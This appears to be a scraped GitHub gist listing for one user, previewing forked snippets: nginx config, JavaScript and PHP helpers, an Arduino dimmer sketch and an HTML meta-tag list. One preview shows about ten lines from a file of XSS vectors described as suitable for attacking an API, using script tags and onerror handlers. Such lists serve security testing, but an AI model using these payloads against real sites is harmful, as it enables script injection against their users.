Skip to content

Instantly share code, notes, and snippets.

@jmas
jmas / nginx
Created October 18, 2015 09:08 — forked from serhiinkh/nginx
map $status $loggable {
~^[2,3] 0;
default 1;
}
server {
listen 80 default_server;
listen [::]:80 default_server ipv6only=on;
server_name ~^(www\.)?(?<domain>.+?).loc$;
@jmas
jmas / object-to-form-data.js
Created May 15, 2016 08:19 — forked from ghinda/object-to-form-data.js
JavaScript Object to FormData, with support for nested objects, arrays and File objects. Includes Angular.js usage.
// takes a {} object and returns a FormData object
var objectToFormData = function(obj, form, namespace) {
var fd = form || new FormData();
var formKey;
for(var property in obj) {
if(obj.hasOwnProperty(property)) {
if(namespace) {
@jmas
jmas / Arduino 230v Light bulb dimming
Created May 22, 2016 21:50 — forked from ryanamaral/Arduino 230v Light bulb dimming
Arduino 230v Light Bulb Dimming (Portugal 220V 50 Hz)
//source: http://electronics.stackexchange.com/q/59615
int AC_LOAD = 3; // Output to Opto Triac pin
int dimming = 128; // Dimming level (0-128) 0 = ON, 128 = OFF
void setup()
{
pinMode(AC_LOAD, OUTPUT); // Set the AC Load as output
attachInterrupt(0, zero_crosss_int, RISING); // Choose the zero cross interrupt # from the table above
}
@jmas
jmas / stimulus.md
Created August 6, 2018 08:24 — forked from mrmartineau/stimulus.md
Stimulus cheatsheet
@jmas
jmas / send.php
Created January 5, 2019 01:59 — forked from webag/send.php
Добавление контакта и сделки в amocrm
<?
//amo
//ПРЕДОПРЕДЕЛЯЕМЫЕ ПЕРЕМЕННЫЕ
$responsible_user_id = 7292136; //id ответственного по сделке, контакту, компании
$lead_name = 'Заявка с сайта'; //Название добавляемой сделки
$lead_status_id = '11331793'; //id этапа продаж, куда помещать сделку
$contact_name = $cname; //Название добавляемого контакта
$contact_phone = $cphone; //Телефон контакта
@jmas
jmas / domain-age.php
Created January 9, 2019 01:59 — forked from SaptakS/domain-age.php
PHP code to find Domain Age of a domain
<?php
$domain = $_GET['domain'];
$w = new DomainAge();
echo $w->age($domain);
class DomainAge
{
private $WHOIS_SERVERS = array(
"com" => array("whois.verisign-grs.com", "/Creation Date:(.*)/"),
"net" => array("whois.verisign-grs.com", "/Creation Date:(.*)/"),
@jmas
jmas / 666_lines_of_XSS_vectors.html
Created April 4, 2019 09:19 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@jmas
jmas / Colorful-Language.markdown
Created September 13, 2019 06:47 — forked from mattnico/Colorful-Language.markdown
A Javascript function to calculate a unique color for any English word.

Colorful Language

This Javascript will calculate a unique color for any English word typed into it. Currently other alphabets are not supported. Punctuation and white space are ignored.

A Pen by Matt Nicolaysen on CodePen.

License.

@jmas
jmas / gist:d385ab9bdc05f8639a2a83a5193ebd25
Created April 27, 2020 11:25 — forked from sshay77/gist:4b1f6616a7afabc1ce2a
google-search-url-parameters-query-string-
// ==UserScript==
// @name Google Search Better Privacy
// @description Delete unnecessary params and add useful params on Google Search.
// @version 0.0.4
// @include http://*.google.*/search*
// @include http://*.google.*/imgres*
// @include https://*.google.*/search*
// @include https://*.google.*/imgres*
// @exclude http://play.google.com/*
// @exclude http://mail.google.com/*
@jmas
jmas / meta-tags.md
Created January 25, 2022 11:05 — forked from lancejpollard/meta-tags.md
Complete List of HTML Meta Tags

Copied from http://code.lancepollard.com/complete-list-of-html-meta-tags/

Basic HTML Meta Tags

<meta name="keywords" content="your, tags"/>
<meta name="description" content="150 words"/>
<meta name="subject" content="your website's subject">
<meta name="copyright"content="company name">
<meta name="language" content="ES">